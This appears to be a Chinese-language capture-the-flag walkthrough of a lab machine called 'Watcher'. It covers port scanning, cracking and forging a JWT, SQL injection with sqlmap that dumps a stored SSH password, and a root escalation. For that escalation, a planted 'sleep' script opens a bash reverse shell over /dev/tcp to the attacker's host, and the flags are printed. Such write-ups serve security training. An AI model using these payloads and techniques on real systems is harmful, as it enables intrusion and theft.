信息收集

cmd
┌──(root㉿kali)-[~]└─# IP=192.168.5.143 

扫描端口

bash
┌──(root㉿kali)-[~]└─# rustscan -a $IP --ulimit 5000 -- -sV -sC           .----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| || .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'The Modern Day Port Scanner.________________________________________: http://discord.skerritt.blog         :: https://github.com/RustScan/RustScan : --------------------------------------😵 https://admin.tryhackme.com [~] The config file is expected to be at "/root/.rustscan.toml"[~] Automatically increasing ulimit value to 5000.Open 192.168.5.143:22Open 192.168.5.143:5000[~] Starting Script(s)[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sV -sC" on ip 192.168.5.143Depending on the complexity of the script, results may take some time to appear.[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-01 08:35 EDTNSE: Loaded 157 scripts for scanning.NSE: Script Pre-scanning.NSE: Starting runlevel 1 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.00s elapsedNSE: Starting runlevel 2 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.00s elapsedNSE: Starting runlevel 3 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.00s elapsedInitiating ARP Ping Scan at 08:35Scanning 192.168.5.143 [1 port]Completed ARP Ping Scan at 08:35, 0.05s elapsed (1 total hosts)Initiating Parallel DNS resolution of 1 host. at 08:35Completed Parallel DNS resolution of 1 host. at 08:35, 0.00s elapsedDNS resolution of 1 IPs took 0.01s. Mode: Async [#: 2, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]Initiating SYN Stealth Scan at 08:35Scanning Watcher.lan (192.168.5.143) [2 ports]Discovered open port 22/tcp on 192.168.5.143Discovered open port 5000/tcp on 192.168.5.143Completed SYN Stealth Scan at 08:35, 0.04s elapsed (2 total ports)Initiating Service scan at 08:35Scanning 2 services on Watcher.lan (192.168.5.143)Completed Service scan at 08:35, 6.09s elapsed (2 services on 1 host)NSE: Script scanning 192.168.5.143.NSE: Starting runlevel 1 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.58s elapsedNSE: Starting runlevel 2 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.01s elapsedNSE: Starting runlevel 3 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.00s elapsedNmap scan report for Watcher.lan (192.168.5.143)Host is up, received arp-response (0.00098s latency).Scanned at 2026-06-01 08:35:41 EDT for 6s PORT     STATE SERVICE REASON         VERSION22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)5000/tcp open  http    syn-ack ttl 64 Gunicorn| http-title: Maze_Sec - Login|_Requested resource was /login|_http-server-header: gunicorn| http-methods: |_  Supported Methods: GET OPTIONS HEADMAC Address: 08:00:27:1E:D2:D8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning.NSE: Starting runlevel 1 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.00s elapsedNSE: Starting runlevel 2 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.00s elapsedNSE: Starting runlevel 3 (of 3) scan.Initiating NSE at 08:35Completed NSE at 08:35, 0.00s elapsedRead data files from: /usr/share/nmapService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 7.20 seconds           Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

user shell

登录后获得 Cookie 中的 JWT Token,解码Payload:

json
{  "username": "testuser456",  "level": "normal",  "iat": 1780317717,  "exp": 1780321317}

john 爆破 JWT 密钥:

bash
(base) ┌──(kali㉿kali)-[~/Desktop]└─$ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3R1c2VyNDU2IiwibGV2ZWwiOiJub3JtYWwiLCJpYXQiOjE3ODAzMTc3MTcsImV4cCI6MTc4MDMyMTMxN30.jqL4m8kVi-cAmqZZvlRhvzXmoARbkKqwad4avdnBINs" > jwt.txt (base) ┌──(kali㉿kali)-[~/Desktop]└─$ john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256Using default input encoding: UTF-8Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 AVX 4x])Will run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusmaze             (?)     1g 0:00:00:01 DONE (2026-06-01 09:15) 0.8771g/s 4997Kp/s 4997Kc/s 4997KC/s mazney..mayor1962Use the "--show" option to display all of the cracked passwords reliablySession completed.

得到密钥 maze

JSON Web Tokens - jwt.io 伪造 Token 即可访问 /admin 管理面板

管理员面板通过 /api/settings/update 接口发送 JSON 来更新设置:

javascript
fetch('/api/settings/update', {    method: 'POST',    headers: { 'Content-Type': 'application/json' },    body: JSON.stringify({ key: key, value: value })})

正常请求响应:

text
{"code":200,"current_value":"dark","msg":"设置已更新"}

这个API接受任意 keyvalue,没有任何过滤。尝试在 value 中注入特殊字符来探测是否存在SQL注入:

bash
┌──(root㉿kali)-[~]└─# curl -X POST http://192.168.5.143:5000/api/settings/update \  -H "Content-Type: application/json" \  -H "Cookie: token=<admin_jwt>" \  -d '{"key":"log_level","value":"\n__import__('\''os'\'')\n"}'{"code":500,"msg":"\u6570\u636e\u5e93\u9519\u8bef: near \"os\": syntax error"}

这个错误暴露的信息:

  1. 后端使用 SQLite 数据库:near "os": syntax error 是SQLite特有的报错格式
  2. value 参数存在SQL注入:单引号 ' 破坏了SQL语句的字符串边界,导致SQL语法错误
  3. 是一个带报错回显的注入点

使用 sqlmap 确认注入点

bash
┌──(root㉿kali)-[~]└─# sqlmap -u "http://192.168.5.143:5000/api/settings/update" \  --data='{"key":"log_level","value":"*"}' \  --cookie="token=<admin_jwt>" \  --dbms=sqlite \  --level=2 --risk=2 \  --technique=B \  --batch ...[09:25:57] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 89 HTTP(s) requests:---Parameter: JSON #1* ((custom) POST)    Type: boolean-based blind    Title: SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)    Payload: {"key":"log_level","value":"' AND CASE WHEN 8390=8390 THEN 8390 ELSE JSON(CHAR(106,114,66,79)) END AND 'wjeu'='wjeu"}---[09:25:57] [INFO] the back-end DBMS is SQLiteback-end DBMS: SQLite[09:25:57] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 28 times[09:25:57] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.5.143'[09:25:57] [WARNING] your sqlmap version is outdated [*] ending @ 09:25:57 /2026-06-01/

可以布尔盲注,先枚举数据库表:

bash
┌──(root㉿kali)-[~]└─# sqlmap -u "http://192.168.5.143:5000/api/settings/update" \  --data='{"key":"log_level","value":"*"}' \  --cookie="token=<admin_jwt>" \  --dbms=sqlite \  --technique=B \  --batch \  --tables ...<current>[4 tables]+-----------------+| secret          || settings        || sqlite_sequence || users           |+-----------------+ [09:32:57] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 127 times[09:32:57] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.5.143'[09:32:57] [WARNING] your sqlmap version is outdated [*] ending @ 09:32:57 /2026-06-01/

结果共4个表,全部导出来:

bash
┌──(root㉿kali)-[~]└─# sqlmap -u "http://192.168.5.143:5000/api/settings/update" \  --data='{"key":"log_level","value":"*"}' \  --cookie="token=<admin_jwt>" \  --dbms=sqlite \  --technique=B \  --batch \  --threads=5 \  --dump-all ...[09:38:54] [INFO] retrieved: watcher:mazesec123q1231w!@#!@@#_ 31/32 (96%)[09:39:24] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)[09:39:24] [INFO] retrieved: watcher:mazesec123q1231w!@#!@@#$             Database: <current>Table: secret[1 entry]+----+----------------------------------+| id | secret                           |+----+----------------------------------+| 1  | watcher:mazesec123q1231w!@#!@@#$ |+----+----------------------------------+ [09:39:24] [INFO] table 'SQLite_masterdb.secret' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.5.143/dump/SQLite_masterdb/secret.csv'...

拿到用户名和密码 watcher:mazesec123q1231w!@#!@@#$,直接 ssh 登录

bash
┌──(root㉿kali)-[~]└─# ssh watcher@$IP                                            The authenticity of host '192.168.5.143 (192.168.5.143)' can't be established.ED25519 key fingerprint is SHA256:MjoUe5ON03T2UcSPmlU3evmpGUywqf/3IUm0+1p77cI.This host key is known by the following other names/addresses:    ~/.ssh/known_hosts:5: [hashed name]Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '192.168.5.143' (ED25519) to the list of known hosts.watcher@192.168.5.143's password: Linux Watcher 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64 The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Mon Jun  1 09:41:52 2026 from 192.168.5.153watcher@Watcher:~$ iduid=1000(watcher) gid=1000(watcher) groups=1000(watcher),100(users)watcher@Watcher:~$ ls -latotal 36drwx------ 3 watcher watcher 4096 Jun  1 09:22 .drwxr-xr-x 3 root    root    4096 May 22 12:04 ..-rw------- 1 watcher watcher  872 Jun  1 09:40 .bash_history-rw-r--r-- 1 watcher watcher  220 May 22 12:04 .bash_logout-rw-r--r-- 1 watcher watcher 3526 May 22 12:04 .bashrc-rw------- 1 watcher watcher   20 Jun  1 09:22 .lesshst-rw-r--r-- 1 watcher watcher  807 May 22 12:04 .profiledrwx-wx-wx 2 watcher watcher 4096 Jun  1 09:41 uploads-rw------- 1 watcher watcher   44 May 22 12:56 user.txtwatcher@Watcher:~$ cat user.txtflag{user-c3949567202847f1ad8664095f0a94e4}

root shell

查看运行中的服务

bash
watcher@Watcher:~$ systemctl list-units --type=service --state=running  UNIT                      LOAD   ACTIVE SUB     DESCRIPTION                                     autoarchive.service       loaded active running AutoArchive root watcher  cron.service              loaded active running Regular background program processing daemon  dbus.service              loaded active running D-Bus System Message Bus  getty@tty1.service        loaded active running Getty on tty1  ssh.service               loaded active running OpenBSD Secure Shell server  systemd-journald.service  loaded active running Journal Service  systemd-logind.service    loaded active running User Login Management  systemd-timesyncd.service loaded active running Network Time Synchronization  systemd-udevd.service     loaded active running Rule-based Manager for Device Events and Files  user@1000.service         loaded active running User Manager for UID 1000  watcher.service           loaded active running Watcher CTF Web Service Legend: LOAD Reflects whether the unit definition was properly loaded.        ACTIVE The high-level unit activation state, i.e. generalization of SUB.        SUB The low-level unit activation state, values depend on unit type. 11 loaded units listed.

发现两个自定义服务 autoarchive.servicewatcher.service

然后分析 autoarchive.service

bash
watcher@Watcher:~$ systemctl cat autoarchive.service# /etc/systemd/system/autoarchive.service[Unit]Description=AutoArchive root watcherAfter=network.target [Service]Type=simpleExecStart=/usr/bin/env AUTOARCHIVE_HELPER=/opt/autoarchive/archive-helper /opt/autoarchive/sync.shRestart=alwaysRestartSec=2User=rootWorkingDirectory=/opt/autoarchive [Install]WantedBy=multi-user.target

发现 autoarchive.service 以 root 身份运行,执行 /opt/autoarchive/sync.sh

/opt/autoarchive/ 无法直接访问:

bash
watcher@Watcher:~$ ls -la /opt/autoarchive/ls: cannot open directory '/opt/autoarchive/': Permission deniedwatcher@Watcher:~$ cat /opt/autoarchive/sync.shcat: /opt/autoarchive/sync.sh: Permission denied

然后分析 autoarchive 进程的行为,先找到 autoarchive 的所有进程 PID

bash
watcher@Watcher:~$ cat /sys/fs/cgroup/system.slice/autoarchive.service/cgroup.procs368394395

然后挨个看它们在执行什么:

bash
watcher@Watcher:~$ cat /proc/368/cmdline | tr '\0' ' '/bin/bash /opt/autoarchive/sync.shwatcher@Watcher:~$ cat /proc/394/cmdline | tr '\0' ' 'inotifywait -m -e create /home/watcher/uploadswatcher@Watcher:~$ cat /proc/395/cmdline | tr '\0' ' '/bin/bash /opt/autoarchive/sync.sh

关键在 PID 394:inotifywait 是 Linux 的文件监控工具,-m 是持续监控,-e create 是监听文件创建事件,目标是 /home/watcher/uploads/,这意味着每当 uploads 目录新增一个文件,sync.sh 就会收到通知并做某些处理

又注意到 uploads 目录 wacher 用户可以写入,既然能写文件进去,sync.sh 收到通知后又会处理它,那 sync.sh 怎么处理就成了关键

接下来观察每次创建文件会发生什么,记录创建文件前的 cgroup.procs,创建文件后立刻再看一次,对比多了什么 PID

bash
# 获取当前PIDsOLD_PID=$(cat /sys/fs/cgroup/system.slice/autoarchive.service/cgroup.procs | sort)# 创建一个文件touch ./uploads/a.txt# 获取新PIDNEW_PID=$(comm -13 <(echo "$OLD_PID") <(cat /sys/fs/cgroup/system.slice/autoarchive.service/cgroup.procs | sort))echo "New PID: $NEW_PID"# 查看新进程cat /proc/$NEW_PID/cmdline | tr '\0' ' '# 确认新进程的父子关系cat /proc/$NEW_PID/status | grep PPid

输出:

text
New PID: 7248sleep 3PPid:   395

发现新进程是 7248,内容是 sleep 3,父进程是 395

也就是说每次在 uploads 创建文件,PID 395 的子bash 就会执行一次 sleep 3,这个 sleep 3 属于 autoarchive cgroup,以 root 身份运行

观察到 /proc/7248/cmdline 的输出是 sleep 3 而非 /usr/bin/sleep 3,也就是说 sync.sh 使用相对路径执行 sleep 命令,并且会 cd 到 uploads 目录,因此只要在 uploads 目录放置一个名为 sleep 的文件就会被以 root 身份执行

接下来创建一个恶意的 sleep 文件反弹 shell

bash
python3 -c "with open('/home/watcher/uploads/sleep', 'w') as f:    f.write('#!/bin/bash\nbash -i >& /dev/tcp/192.168.5.153/4444 0>&1\n')"chmod +x ./uploads/sleeptouch ./uploads/trigger.txt
bash
┌──(kali㉿kali)-[~/Desktop]└─$ nc -lvnp 4444listening on [any] 4444 ...connect to [192.168.5.153] from (UNKNOWN) [192.168.5.143] 45564bash: cannot set terminal process group (368): Inappropriate ioctl for devicebash: no job control in this shellroot@Watcher:/home/watcher/uploads# iduid=0(root) gid=0(root) groups=0(root)root@Watcher:/home/watcher/uploads# cd  root@Watcher:~# cat root.txtflag{root-6661e4dc99e9408984d16d30b0c0730c}